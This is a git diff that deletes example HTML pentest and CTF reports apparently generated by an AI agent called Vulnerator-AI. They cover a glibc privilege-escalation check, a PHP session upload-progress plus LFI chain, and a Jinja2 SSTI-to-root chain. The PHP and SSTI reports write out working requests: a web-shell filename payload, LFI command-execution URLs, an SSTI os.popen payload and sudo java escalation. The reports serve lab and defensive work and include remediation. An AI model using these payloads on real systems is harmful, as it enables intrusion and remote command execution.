0 10px;font-size:13px">Results with differential controls:</p>- <table class="controls-table">- <thead><tr><th>Test</th><th>rc</th><th>Result</th></tr></thead>- <tbody>- <tr><td><code>/usr/bin/su</code> (SUID root) + long payload, ×10</td><td class="rc-fail">139</td><td class="result-fail">SIGSEGV — Segmentation fault</td></tr>- <tr><td><code>/usr/bin/sudo</code> (SUID root) + long payload</td><td class="rc-fail">139</td><td class="result-fail">SIGSEGV</td></tr>- <tr><td><code>/usr/bin/mount</code> (SUID root) + long payload</td><td class="rc-fail">139</td><td class="result-fail">SIGSEGV</td></tr>- <tr><td><code>su --help</code> without payload (baseline)</td><td class="rc-ok">0</td><td class="result-ok">OK — normal behaviour</td></tr>- <tr><td><code>/bin/true</code> (non-SUID) + same payload</td><td class="rc-ok">0</td><td class="result-ok">OK — no crash without SUID</td></tr>- <tr><td><code>mxfast</code> simple 4000 chars (control)</td><td class="rc-ok">0</td><td class="result-ok">OK — no crash without overflow</td></tr>- </tbody>- </table>-- <p style="color:var(--text-dim);margin:16px 0 8px;font-size:13px">Enabling conditions verified on the target:</p>- <div class="condition-pills">- <span class="pill active">NoNewPrivs: 0</span>- <span class="pill active">SUID active: su sudo passwd mount</span>- <span class="pill active">/tmp writable</span>- <span class="pill active">gcc 12.3.0 installed</span>- <span class="pill active">libc6 on apt hold</span>- <span class="pill">Docker container</span>- <span class="pill">userspace — not kernel</span>- </div>- </div>-- <!-- ── 4. Discarded Vectors ── -->- <div class="section">- <div class="section-title"><span class="section-num">04 /</span> Evaluated & Discarded Vectors</div>- <table>- <thead><tr><th>Vector</th><th>Discard evidence</th><th>Status</th></tr></thead>- <tbody>- <tr class="discarded-row">- <td><code>sudo -l</code></td>- <td>"Sorry, user agent_user may not run sudo on ubuntu-server-01"</td>- <td><span class="badge badge-info">Discarded</span></td>- </tr>- <tr class="discarded-row">- <td>File capabilities (<code>getcap -r /</code>)</td>- <td>No results</td>- <td><span class="badge badge-info">Discarded</span></td>- </tr>- <tr class="discarded-row">- <td>Anomalous cron jobs</td>- <td>Only <code>e2scrub_all</code> and <code>apt-compat</code> (stock)</td>- <td><span class="badge badge-info">Discarded</span></td>- </tr>- <tr class="discarded-row">- <td>Non-standard SUID binaries</td>- <td>Standard Ubuntu set only (no custom binaries)</td>- <td><span class="badge badge-info">Discarded</span></td>- </tr>- <tr class="discarded-row">- <td>Kernel exploit</td>- <td>Out of threat model scope (container; operator hint: userspace vector)</td>- <td><span class="badge badge-info">Out of scope</span></td>- </tr>- </tbody>- </table>- </div>-- <!-- ── 5. Remediation ── -->- <div class="section">- <div class="section-title"><span class="section-num">05 /</span> Remediation Recommendations</div>- <ul class="remediation-list">- <li>- <span class="priority p1">⚠ Priority 1 — Immediate</span>- <strong>Update libc6 to <code>2.37-0ubuntu2.1</code> or later</strong> (USN-6409-1).- The package is pinned with <code>apt hold</code> — it must be unpinned first:- <br><br>- <code>apt-mark unhold libc6 && apt-get update && apt-get upgrade libc6</code>- <br><br>- ⚠ Ubuntu 23.04 (lunar) has been <strong>EOL since January 2024</strong>: standard repositories- no longer serve packages. Use <code>old-releases.ubuntu.com</code> or, preferably,- <strong>migrate the container to Ubuntu 24.04 LTS</strong>.- </li>- <li>- <span class="priority p1">⚠ Priority 1 — Immediately after patching</span>- <strong>Restart/rebuild the container</strong> after applying the patch.- All running processes continue to map the vulnerable <code>libc</code> in memory- until restarted.- </li>- <li>- <span class="priority p2">▸ Priority 2 — Defence in depth</span>- Periodically audit pinned packages: <code>apt-mark showhold</code>. Reduce unnecessary SUID- surface. Monitor executions of SUID binaries with <code>GLIBC_TUNABLES</code> in their- environment — any non-root process carrying that variable should be treated as suspicious.- </li>- <li>- <span class="priority p3">▸ Priority 3 — Detection</span>- Compare <code>ldd --version</code> / <code>dpkg -l libc6</code> against- <code>2.37-0ubuntu2.1</code> across all Ubuntu 22.04/23.04 systems.- CISA KEV lists CVE-2023-4911 as actively exploited — prioritise in the next patch cycle.- </li>- </ul>- </div>-- <!-- ── 6. Scope ── -->- <div class="section">- <div class="section-title"><span class="section-num">06 /</span> Scope Compliance · mode: pentest</div>- <ul class="scope-list">- <li><span class="check">✓</span> CVE verified against official sources (Ubuntu API, NVD, CVE.org, Qualys advisory)</li>- <li><span class="check">✓</span> Privileged loader crash confirmed (10/10 SIGSEGV with differential controls)</li>- <li><span class="check">✓</span> CVSS 3.1 documented — 7.8 HIGH</li>- <li><span class="check">✓</span> Affected and patched versions documented</li>- <li><span class="check">✓</span> Findings persisted in the engagement store (5 findings)</li>- <li><span class="check">✓</span> OODA loop closed: OBSERVE → ORIENT → DECIDE → ACT → REPORT (14 steps)</li>- </ul>- <div class="scope-note">- <strong>No full exploit was compiled and no root shell was obtained</strong>, in accordance with- the <code>mode: pentest</code> definition. The path to root is fully documented- (public PoC + conditions verified on the target). To execute through to root shell, instruct- the agent explicitly with <code>mode: redteam</code>.- </div>- </div>--</div>--<!-- ── Footer ── -->-<footer class="site-footer">- <div class="footer-brand">VULNERATOR<span>-AI</span> · OODA Pentest Engine</div>- <div class="footer-meta">- eng-ubuntu-server-01-lpe · 2026-10-18<br>- Generated by Vulnerator-AI agent (Mistral Large 4.0 · 14 OODA steps)- </div>-</footer>--</body>-</html>diff --git a/docs/php2shell-report-example.html b/docs/php2shell-report-example.htmldeleted file mode 100644index f4a108a..0000000--- a/docs/php2shell-report-example.html+++ /dev/null@@ -1,482 +0,0 @@-<!DOCTYPE html>-<html lang="en">-<head>-<meta charset="UTF-8">-<meta name="viewport" content="width=device-width, initial-scale=1.0">-<title>Vulnerator-AI — CTF Report: PHP2Shell Chain A</title>-<style>- :root {- --bg: #0d0000;- --bg-panel: #180000;- --bg-card: #1e0000;- --border: #cc0000;- --border-dim: #550000;- --red: #cc0000;- --red-bright: #ff4444;- --green: #00ff41;- --green-dim: #007a1f;- --text: #e8e8e8;- --text-dim: #aa7777;- --text-muted: #664444;- --yellow: #ff8800;- --code-bg: #0a0000;- }-- * { box-sizing: border-box; margin: 0; padding: 0; }-- body {- background: var(--bg);- color: var(--text);- font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;- font-size: 14px;- line-height: 1.6;- }-- /* ── Header ── */- .site-header {- background: var(--bg-panel);- border-bottom: 2px solid var(--border);- padding: 16px 32px;- display: flex;- align-items: center;- gap: 12px;- }- .site-header .logo {- font-family: monospace;- font-size: 22px;- font-weight: bold;- color: var(--red-bright);- letter-spacing: 2px;- }- .site-header .logo span { color: var(--green); }- .site-header .tagline {- font-size: 11px;- color: var(--text-dim);- letter-spacing: 1px;- text-transform: uppercase;- margin-left: auto;- }-- /* ── Report meta bar ── */- .report-meta {- background: var(--bg-panel);- border-bottom: 1px solid var(--border-dim);- padding: 12px 32px;- display: flex;- gap: 32px;- flex-wrap: wrap;- }- .meta-item { display: flex; flex-direction: column; gap: 2px; }- .meta-label { font-size: 10px; color: var(--text-muted); text-transform: uppercase; letter-spacing: 1px; }- .meta-value { font-size: 13px; color: var(--text); font-family: monospace; }-- /* ── Main layout ── */- .container { max-width: 1100px; margin: 0 auto; padding: 32px; }-- /* ── Severity badge ── */- .badge {- display: inline-block;- padding: 3px 10px;- border-radius: 3px;- font-size: 11px;- font-weight: bold;- letter-spacing: 1px;- text-transform: uppercase;- }- .badge-high { background: #7a0000; color: #ff4444; border: 1px solid #cc0000; }- .badge-ok { background: #003300; color: #00ff41; border: 1px solid #007722; }- .badge-ctf { background: #550077; color: #ff44ff; border: 1px solid #990099; }- .badge-cvss { background: #7a0000; color: #ffcc00; border: 1px solid #cc0000; font-size: 13px; padding: 4px 14px; }-- /* ── CVE hero ── */- .cve-hero {- background: var(--bg-panel);- border: 2px solid var(--red);- border-radius: 6px;- padding: 24px 32px;- margin-bottom: 32px;- display: flex;- align-items: center;- gap: 32px;- }- .cve-hero .cve-score { font-size: 48px; font-weight: bold; color: var(--yellow); min-width: 90px; text-align: center; }- .cve-hero .cve-details { flex: 1; }- .cve-hero h1 { font-size: 24px; margin-bottom: 8px; color: var(--red-bright); }- .cve-hero .cve-id { font-size: 16px; color: var(--text-dim); font-family: monospace; margin-bottom: 12px; }- .cve-hero .cve-desc { color: var(--text); }-- /* ── Section ── */- .section {- background: var(--bg-card);- border: 1px solid var(--border-dim);- border-radius: 6px;- padding: 24px;- margin-bottom: 24px;- }- .section h2 {- font-size: 18px;- color: var(--red-bright);- margin-bottom: 16px;- padding-bottom: 8px;- border-bottom: 1px solid var(--border-dim);- }- .section h3 {- font-size: 15px;- color: var(--green);- margin: 20px 0 12px;- }- .section p { margin-bottom: 12px; color: var(--text); }- .section ul { margin-left: 24px; margin-bottom: 12px; }- .section li { margin-bottom: 6px; color: var(--text); }-- /* ── Table ── */- table {- width: 100%;- border-collapse: collapse;- margin: 16px 0;- font-size: 13px;- }- thead {- background: var(--code-bg);- border-bottom: 2px solid var(--border);- }- th {- padding: 10px;- text-align: left;- color: var(--green);- font-weight: bold;- text-transform: uppercase;- font-size: 11px;- letter-spacing: 1px;- }- td {- padding: 10px;- border-bottom: 1px solid var(--border-dim);- color: var(--text);- vertical-align: top;- }- tbody tr:hover { background: var(--bg-panel); }-- /* ── Code blocks ── */- pre {- background: var(--code-bg);- border: 1px solid var(--border-dim);- border-radius: 4px;- padding: 16px;- overflow-x: auto;- margin: 12px 0;- font-family: 'Courier New', monospace;- font-size: 12px;- line-height: 1.5;- }- code {- background: var(--code-bg);- padding: 2px 6px;- border-radius: 3px;- font-family: 'Courier New', monospace;- font-size: 12px;- color: var(--green);- }- pre code { padding: 0; background: none; }-- /* ── Evidence highlight ── */- .evidence-box {- background: var(--bg-panel);- border-left: 4px solid var(--green);- padding: 16px;- margin: 16px 0;- }- .evidence-box strong { color: var(--green); }-- /* ── Footer ── */- .report-footer {- text-align: center;- padding: 32px;- color: var(--text-muted);- font-size: 12px;- border-top: 1px solid var(--border-dim);- margin-top: 48px;- }- .report-footer a { color: var(--red); text-decoration: none; }- .report-footer a:hover { color: var(--red-bright); text-decoration: underline; }-</style>-</head>-<body>--<header class="site-header">- <div class="logo">VULNERATOR<span>-AI</span></div>- <div class="tagline">Unholy Pentest · OODA Agent</div>-</header>--<div class="report-meta">- <div class="meta-item">- <div class="meta-label">Engagement</div>- <div class="meta-value">ctf-php2shell-chainA</div>- </div>- <div class="meta-item">- <div class="meta-label">Mode</div>- <div class="meta-value"><span class="badge badge-ctf">CTF</span></div>- </div>- <div class="meta-item">- <div class="meta-label">Target</div>- <div class="meta-value">host.docker.internal:18080</div>- </div>- <div class="meta-item">- <div class="meta-label">Date</div>- <div class="meta-value">2026-10-21 UTC</div>- </div>- <div class="meta-item">- <div class="meta-label">Outcome</div>- <div class="meta-value"><span class="badge badge-ok">RCE CONFIRMED</span></div>- </div>-</div>--<div class="container">-- <div class="cve-hero">- <div class="cve-score">- <span class="badge badge-ctf" style="font-size: 16px; padding: 8px 16px;">CTF</span>- </div>- <div class="cve-details">- <h1>PHP2Shell Chain A → RCE CONFIRMED</h1>- <div class="cve-id">CVE-2026-109618 / CVE-2026-109619 — Session Deserialization</div>- <div class="cve-desc">- PHP code injection into session file via <code>session.upload_progress</code> + execution through LFI.- RCE confirmed as <code>www-data</code> (uid=33) on PHP 8.2.34 + nginx + PHP-FPM.- </div>- </div>- </div>-- <div class="section">- <h2>1. Executive Summary</h2>- <p>- Successfully reproduced <strong>PHP2Shell Chain A</strong> (CVE-2026-109618 / CVE-2026-109619):- PHP code injection into session file via <code>session.upload_progress</code> (multipart upload filename- stored raw without validation) followed by execution through LFI in <code>/vuln.php</code>.- </p>- <div class="evidence-box">- <strong>PoC — Success Criteria:</strong>- <pre><code>GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id</code></pre>- <strong>Output:</strong>- <pre><code>uid=33(www-data) gid=33(www-data) groups=33(www-data)-RCE_OK</code></pre>- </div>- <p>- Demonstrated arbitrary command execution in php-fpm process as <code>www-data</code> user (uid=33).- </p>- </div>-- <div class="section">- <h2>2. Compromised Environment</h2>- <table>- <thead>- <tr>- <th>Item</th>- <th>Value</th>- <th>Source</th>- </tr>- </thead>- <tbody>- <tr>- <td>Web server</td>- <td>nginx/1.31.7</td>- <td>Server header</td>- </tr>- <tr>- <td>PHP</td>- <td><strong>8.2.34</strong> (vulnerable; fixed in 8.2.35)</td>- <td>X-Powered-By + /index.php</td>- </tr>- <tr>- <td>SAPI</td>- <td>fpm-fcgi</td>- <td>/index.php</td>- </tr>- <tr>- <td>Operating System</td>- <td>Debian GNU/Linux 13 (trixie)</td>- <td>RCE: head -3 /etc/os-release</td>- </tr>- <tr>- <td>Kernel</td>- <td>Linux 7.0.12-linuxkit aarch64</td>- <td>RCE: uname -a</td>- </tr>- <tr>- <td>Container hostname</td>- <td>89e1a0c2bd7d</td>- <td>LFI: page=/etc/hostname</td>- </tr>- <tr>- <td>Process user</td>- <td><strong>www-data (uid=33, gid=33)</strong></td>- <td>RCE: id / whoami</td>- </tr>- </tbody>- </table>- </div>-- <div class="section">- <h2>3. Attack Chain — Step by Step</h2>-- <h3>Step 1 — Recon and Session Fixation</h3>- <ul>- <li>Controlled SID: <code>ctfchainA00000000000000000000000</code> (32 characters)</li>- <li>Verification: server accepted SID via cookie without regeneration (no Set-Cookie in response)</li>- <li><code>session.save_path=/tmp/sessions</code> confirmed via LFI (sess_<SID> exists)</li>- </ul>-- <h3>Step 2 — Trigger upload_progress Handler + Injection</h3>- <p><strong>Request (POST multipart to /index.php):</strong></p>- <pre><code>POST /index.php HTTP/1.1-Cookie: PHPSESSID=ctfchainA00000000000000000000000-Content-Type: multipart/form-data; boundary=----CTFCHAINBOUNDARY7d4a6e1c--------CTFCHAINBOUNDARY7d4a6e1c-Content-Disposition: form-data; name="PHPSESSID"--ctfchainA00000000000000000000000-------CTFCHAINBOUNDARY7d4a6e1c-Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"--x-------CTFCHAINBOUNDARY7d4a6e1c-Content-Disposition: form-data; name="f"; filename="<?php system($_GET['c']); echo 'RCE_OK'; ?>"-Content-Type: application/octet-stream--A-------CTFCHAINBOUNDARY7d4a6e1c--</code></pre>- <p><strong>Response:</strong> <code>HTTP/1.1 200 OK</code> — normal index.php body.</p>- <p>- Handler wrote raw filename (with PHP code) to <code>/tmp/sessions/sess_<SID></code>.- With <code>session.upload_progress.cleanup=Off</code>, file persisted after request.- </p>-- <h3>Step 3 — Injection Verification + Execution via LFI</h3>- <p><strong>Request:</strong></p>- <pre><code>GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000</code></pre>- <p><strong>Response (truncated):</strong></p>- <pre><code>upload_progress_x|a:5:{s:10:"start_time";i:1792614809;...s:4:"name";s:43:"<?php system($_GET['c']); echo 'RCE_OK'; ?>"...-Warning: Undefined array key "c" in /tmp/sessions/sess_ctfchainA00000000000000000000000 on line 1-Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty- #0 /tmp/sessions/sess_ctfchainA00000000000000000000000(1): system('')- #1 /var/www/html/vuln.php(3): include('/tmp/sessions/s...')</code></pre>- <p>- Stack trace proves complete chain: <strong>filename code executed inside LFI include</strong>.- </p>-- <h3>Step 4 — RCE: Arbitrary Command Execution</h3>- <p><strong>Request:</strong></p>- <pre><code>GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id</code></pre>- <p><strong>Response:</strong></p>- <pre><code>...s:4:"name";s:43:"uid=33(www-data) gid=33(www-data) groups=33(www-data)-RCE_OK";s:8:"tmp_name";s:14:"/tmp/phpTKnYXy";...</code></pre>- </div>-- <div class="section">- <h2>4. RCE Evidence — Commands Executed</h2>- <table>- <thead>- <tr>- <th>Command (c=)</th>- <th>Output Obtained</th>- </tr>- </thead>- <tbody>- <tr>- <td><code>id</code></td>- <td><code>uid=33(www-data) gid=33(www-data) groups=33(www-data)</code> + <code>RCE_OK</code></td>- </tr>- <tr>- <td><code>whoami</code></td>- <td><code>www-data</code></td>- </tr>- <tr>- <td><code>uname -a</code></td>- <td><code>Linux 89e1a0c2bd7d 7.0.12-linuxkit #1 SMP PREEMPT Thu Aug 27 14:02:21 UTC 2026 aarch64 GNU/Linux</code></td>- </tr>- <tr>- <td><code>head -3 /etc/os-release</code></td>- <td><code>PRETTY_NAME="Debian GNU/Linux 13 (trixie)"</code></td>- </tr>- </tbody>- </table>- </div>-- <div class="section">- <h2>5. Vulnerability — Technical Details</h2>- <ul>- <li><strong>CVE:</strong> CVE-2026-109618 / CVE-2026-109619 — PHP2Shell</li>- <li><strong>Affected version:</strong> PHP 8.2.34 (confirmed on target)</li>- <li><strong>Patched version:</strong> PHP 8.2.35+, 8.3.24+, 8.4.6+</li>- <li>- <strong>Mechanism:</strong> The <code>session.upload_progress</code> handler (enabled by default)- stores raw multipart upload filename (unsanitized) in session file <code>sess_<SID></code>.- If application includes that file (LFI), PHP code executes.- </li>- <li>- <strong>Enabling conditions in lab:</strong>- <ul>- <li><code>session.upload_progress.enabled=On</code></li>- <li><code>session.upload_progress.cleanup=Off</code> (payload persistence)</li>- <li><code>session.use_strict_mode=0</code> + <code>session.use_only_cookies=0</code> (session fixation)</li>- <li>Unsanitized LFI in <code>/vuln.php</code> (<code>include($_GET['page'])</code>)</li>- <li><code>display_errors=On</code> (aided debugging, not required for exploitation)</li>- </ul>- </li>- </ul>- </div>-- <div class="section">- <h2>6. Remediation Recommendations</h2>- <ol>- <li><strong>Upgrade PHP to 8.2.35+</strong> (official patch fixing CVE-2026-109618/109619)</li>- <li><code>session.upload_progress.enabled=Off</code> if application doesn't use upload progress tracking</li>- <li><code>session.upload_progress.cleanup=On</code> (safe default behavior, prevents persistence)</li>- <li><code>session.use_strict_mode=1</code> and <code>session.use_only_cookies=1</code> (prevents session fixation)</li>- <li>- <strong>Fix LFI in <code>/vuln.php</code>:</strong>- <ul>- <li>Implement allowlist for includable files</li>- <li>Reject dangerous wrappers (php://, phar://, data://, ...)</li>- <li>Validate and normalize paths with <code>realpath()</code> + mandatory prefix</li>- <li>Disable <code>display_errors</code> in production</li>- </ul>- </li>- </ol>- </div>-- <div class="section">- <h2>7. Engagement Store</h2>- <p><strong>engagement_id:</strong> <code>ctf-php2shell-chainA</code></p>- <p><strong>Findings registered:</strong> 7 (all <code>confirmed</code> with reproducible evidence)</p>- <ol>- <li>Engagement start</li>- <li>LFI confirmed in /vuln.php (MITRE ATT&CK: T1190 — Exploit Public-Facing Application)</li>- <li>save_path=/tmp/sessions + session fixation (T1078.004 — Valid Accounts: Cloud Accounts)</li>- <li>PHP 8.2.34 + upload_progress=1 (T1592.004 — Gather Victim Host Information: Client Configurations)</li>- <li>PHP code injection into session file (T1505.003 — Server Software Component: Web Shell)</li>- <li>RCE confirmed — id as www-data uid=33 (T1059.004 — Command and Scripting Interpreter: Unix Shell)</li>- <li>RCE reinforced + engagement closure</li>- </ol>- <p>- <strong>Scope respected:</strong> All requests exclusively targeted- <code>http://host.docker.internal:18080</code>.- </p>- <div class="evidence-box">- <strong>Vector persistence:</strong><br>- Poisoned SID <code>ctfchainA00000000000000000000000</code> remains active in lab.- RCE can be re-executed with:- <pre><code>GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=<comando></code></pre>- </div>- </div>--</div>--<footer class="report-footer">- <p>Generated by <strong>VULNERATOR-AI</strong> · Unholy Pentest OODA Agent</p>- <p><a href="https://github.com/irraz/vulnerator-ai" target="_blank" rel="noopener">github.com/irraz/vulnerator-ai</a></p>-</footer>--</body>-</html>diff --git a/docs/pinguinazo-report-example.html b/docs/pinguinazo-report-example.htmldeleted file mode 100644index e4c92bb..0000000--- a/docs/pinguinazo-report-example.html+++ /dev/null@@ -1,272 +0,0 @@-<!DOCTYPE html>-<html lang="en">-<head>-<meta charset="UTF-8">-<meta name="viewport" content="width=device-width, initial-scale=1.0">-<title>Vulnerator-AI — CTF Report: Pinguinazo SSTI</title>-<style>- :root {- --bg:#0d0000;--bg-panel:#180000;--bg-card:#1e0000;- --border:#cc0000;--border-dim:#550000;- --red:#cc0000;--red-bright:#ff4444;- --green:#00ff41;--green-dim:#007a1f;- --text:#e8e8e8;--text-dim:#aa7777;--text-muted:#664444;- --yellow:#ff8800;--code-bg:#0a0000;- }- *{box-sizing:border-box;margin:0;padding:0}- body{background:var(--bg);color:var(--text);font-family:'Segoe UI',system-ui,sans-serif;font-size:14px;line-height:1.6}- .site-header{background:var(--bg-panel);border-bottom:2px solid var(--border);padding:16px 32px;display:flex;align-items:center;gap:12px}- .logo{font-family:monospace;font-size:22px;font-weight:bold;color:var(--red-bright);letter-spacing:2px}- .logo span{color:var(--green)}- .tagline{font-size:11px;color:var(--text-dim);letter-spacing:1px;text-transform:uppercase;margin-left:auto}- .report-meta{background:var(--bg-panel);border-bottom:1px solid var(--border-dim);padding:12px 32px;display:flex;gap:32px;flex-wrap:wrap}- .meta-item{display:flex;flex-direction:column;gap:2px}- .meta-label{font-size:10px;color:var(--text-muted);text-transform:uppercase;letter-spacing:1px}- .meta-value{font-size:13px;color:var(--text);font-family:monospace}- .container{max-width:1100px;margin:0 auto;padding:32px}- /* Chain hero */- .chain-hero{background:var(--bg-panel);border:2px solid var(--red);border-radius:6px;padding:24px 32px;margin-bottom:32px}- .chain-title{font-size:11px;color:var(--text-muted);text-transform:uppercase;letter-spacing:2px;margin-bottom:16px}- .chain-steps{display:flex;align-items:center;flex-wrap:wrap;gap:0}- .chain-step{background:var(--bg-card);border:1px solid var(--border-dim);padding:8px 14px;font-family:monospace;font-size:12px}- .chain-step.ssti{color:#ff8800;border-color:#885500}- .chain-step.rce{color:var(--red-bright);border-color:var(--red)}- .chain-step.privesc{color:#ffcc00;border-color:#886600}- .chain-step.root{color:var(--green);border-color:var(--green-dim);font-weight:bold}- .chain-step.flag{color:var(--green);border-color:var(--green-dim);background:#001a00;font-weight:bold}- .chain-arrow{color:var(--border);padding:0 4px;font-size:16px}- .flag-box{margin-top:20px;background:var(--code-bg);border:1px solid var(--green-dim);border-radius:4px;padding:14px 20px;display:flex;align-items:center;gap:16px}- .flag-label{font-size:11px;color:var(--green-dim);text-transform:uppercase;letter-spacing:2px}- .flag-value{font-family:monospace;font-size:1.2rem;color:var(--green);font-weight:bold;text-shadow:0 0 16px rgba(0,255,65,0.6)}- /* Sections */- .section{margin-bottom:40px}- .section-title{font-size:13px;font-weight:bold;color:var(--green);letter-spacing:2px;text-transform:uppercase;border-bottom:1px solid var(--border-dim);padding-bottom:8px;margin-bottom:20px}- .section-title::before{content:'⚡';color:var(--red-bright);margin-right:8px}- /* Findings */- .finding{background:var(--bg-panel);border:1px solid var(--border-dim);border-left:3px solid var(--red);border-radius:0 6px 6px 0;margin-bottom:16px;overflow:hidden}- .finding-header{background:var(--bg-card);padding:10px 16px;display:flex;align-items:center;gap:12px;border-bottom:1px solid var(--border-dim)}- .finding-num{font-family:monospace;font-size:11px;color:var(--text-muted)}- .finding-title{color:var(--text);font-size:13px;flex:1}- .badge{display:inline-block;padding:2px 8px;border-radius:3px;font-size:10px;font-weight:bold;letter-spacing:1px;text-transform:uppercase}- .badge-confirmed{background:#003300;color:#00ff41;border:1px solid #007722}- .badge-technique{background:#002244;color:#4488ff;border:1px solid #224488;font-family:monospace}- .finding-body{padding:14px 16px}- .finding-meta{display:grid;grid-template-columns:140px 1fr;gap:4px 12px;font-size:12px;margin-bottom:12px}- .fk{color:var(--text-dim)}- .fv{color:var(--text);font-family:monospace}- .evidence-label{font-size:11px;color:var(--text-muted);text-transform:uppercase;letter-spacing:1px;margin-bottom:6px}- .terminal{background:var(--code-bg);border:1px solid var(--border-dim);border-radius:4px;overflow:hidden}- .terminal-bar{background:var(--bg-card);padding:5px 12px;font-size:10px;color:var(--text-muted);font-family:monospace}- .terminal-body{padding:12px 16px;font-family:'Cascadia Code','Fira Code',monospace;font-size:11px;color:var(--green);overflow-x:auto;white-space:pre;line-height:1.7}- .terminal-body .cmd{color:#e8e8e8}- /* Stats */- .stats-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:12px;margin-bottom:32px}- .stat-card{background:var(--bg-panel);border:1px solid var(--border-dim);border-top:2px solid var(--red);border-radius:6px;padding:14px;text-align:center}- .stat-num{font-family:monospace;font-size:2rem;font-weight:bold;color:var(--red-bright)}- .stat-label{font-size:11px;color:var(--text-dim);text-transform:uppercase;letter-spacing:1px;margin-top:4px}- .stat-card.green .stat-num{color:var(--green)}- .stat-card.green{border-top-color:var(--green-dim)}- /* Remediation */- .rem-list{list-style:none;padding:0}- .rem-list li{background:var(--bg-panel);border-left:3px solid var(--yellow);padding:12px 16px;margin-bottom:10px;border-radius:0 6px 6px 0;font-size:13px;line-height:1.7}- .rem-list li code{background:var(--code-bg);padding:1px 5px;border-radius:3px;font-size:11px;color:var(--green);font-family:monospace}- .rem-list li strong{color:var(--yellow)}- /* Footer */- .site-footer{background:var(--bg-panel);border-top:1px solid var(--border-dim);padding:20px 32px;margin-top:48px;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:12px}- .footer-brand{font-family:monospace;font-size:13px;color:var(--red)}- .footer-brand span{color:var(--green)}- .footer-meta{font-size:11px;color:var(--text-muted);text-align:right}-</style>-</head>-<body>-<header class="site-header">- <div class="logo">VULNERATOR<span>-AI</span></div>- <div class="tagline">OODA Pentest Engine · CTF Report</div>-</header>-<div class="report-meta">- <div class="meta-item"><span class="meta-label">Engagement</span><span class="meta-value">pinguinazo-ssti</span></div>- <div class="meta-item"><span class="meta-label">Target</span><span class="meta-value">pinguinazo-ssti (172.21.0.6)</span></div>- <div class="meta-item"><span class="meta-label">Mode</span><span class="meta-value">ctf</span></div>- <div class="meta-item"><span class="meta-label">Surface</span><span class="meta-value">Web — Flask/Werkzeug :5000</span></div>- <div class="meta-item"><span class="meta-label">Date</span><span class="meta-value">2026-10-18</span></div>- <div class="meta-item"><span class="meta-label">Steps</span><span class="meta-value">12 OODA steps</span></div>-</div>--<div class="container">-- <!-- Chain + Flag -->- <div class="chain-hero">- <div class="chain-title">Attack chain</div>- <div class="chain-steps">- <span class="chain-step ssti">SSTI Jinja2</span>- <span class="chain-arrow">→</span>- <span class="chain-step rce">RCE as pinguinazo</span>- <span class="chain-arrow">→</span>- <span class="chain-step privesc">sudo java (NOPASSWD)</span>- <span class="chain-arrow">→</span>- <span class="chain-step root">uid=0(root)</span>- <span class="chain-arrow">→</span>- <span class="chain-step flag">Reverse shell + Flag</span>- </div>- <div class="flag-box">- <span class="flag-label">Flag</span>- <span class="flag-value">CTF{pinguinazo_ssti_rce_sudo_java}</span>- </div>- </div>-- <!-- Stats -->- <div class="stats-grid">- <div class="stat-card"><div class="stat-num">6</div><div class="stat-label">Findings confirmed</div></div>- <div class="stat-card green"><div class="stat-num">✓</div><div class="stat-label">Root shell</div></div>- <div class="stat-card green"><div class="stat-num">✓</div><div class="stat-label">Reverse shell</div></div>- <div class="stat-card green"><div class="stat-num">✓</div><div class="stat-label">Flag captured</div></div>- </div>-- <!-- Findings -->- <div class="section">- <div class="section-title">Findings</div>-- <div class="finding">- <div class="finding-header">- <span class="finding-num">F1</span>- <span class="finding-title">SSTI Jinja2 confirmed — parameter <code style="background:var(--code-bg);padding:1px 5px;border-radius:3px;font-family:monospace;font-size:11px;color:var(--green)">name</code> renders as template</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1190</span>- </div>- <div class="finding-body">- <div class="finding-meta">- <span class="fk">Target</span><span class="fv">http://172.21.0.6:5000/ (POST name)</span>- <span class="fk">ATT&CK</span><span class="fv">T1190 — Exploit Public-Facing Application</span>- <span class="fk">Root cause</span><span class="fv">render_template_string(f'Hola, {name}!') — user input in template</span>- </div>- <div class="evidence-label">Evidence</div>- <div class="terminal">- <div class="terminal-bar">curl POST · pinguinazo-ssti:5000</div>- <div class="terminal-body"><span class="cmd">curl -X POST http://172.21.0.6:5000/ -d 'name={{7*7}}'</span>-<div class="result">Hola, <span style="color:#ff8800">49</span>! Bienvenido a PinguRegistro.</div></div>- </div>- </div>- </div>-- <div class="finding">- <div class="finding-header">- <span class="finding-num">F2</span>- <span class="finding-title">RCE as uid=1000(pinguinazo) via Jinja2 global object chain</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1059.004</span>- </div>- <div class="finding-body">- <div class="finding-meta">- <span class="fk">Payload</span><span class="fv">cycler.__init__.__globals__.os.popen("id")</span>- <span class="fk">Result</span><span class="fv">uid=1000(pinguinazo) gid=1000(pinguinazo)</span>- </div>- <div class="evidence-label">Evidence</div>- <div class="terminal">- <div class="terminal-bar">SSTI RCE payload</div>- <div class="terminal-body"><span class="cmd">POST name={{ cycler.__init__.__globals__.os.popen("id").read() }}</span>-uid=1000(pinguinazo) gid=1000(pinguinazo) groups=1000(pinguinazo)</div>- </div>- </div>- </div>-- <div class="finding">- <div class="finding-header">- <span class="finding-num">F3</span>- <span class="finding-title">sudo NOPASSWD java — pinguinazo can run /usr/bin/java as root</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1548.003</span>- </div>- <div class="finding-body">- <div class="evidence-label">Evidence — sudo -l via RCE</div>- <div class="terminal">- <div class="terminal-bar">sudo -l output</div>- <div class="terminal-body">User pinguinazo may run the following commands on pinguinazo-ssti:- (ALL : ALL) NOPASSWD: <span style="color:#ff8800">/usr/bin/java</span></div>- </div>- </div>- </div>-- <div class="finding">- <div class="finding-header">- <span class="finding-num">F4</span>- <span class="finding-title">Privilege escalation confirmed — arbitrary Java code as root via sudo</span>- <span class="badge badge-confirmed">Confirmed</span>- <span class="badge badge-technique">T1548.003</span>- </div>- <div class="finding-body">- <div class="finding-meta">- <span class="fk">Method</span><span 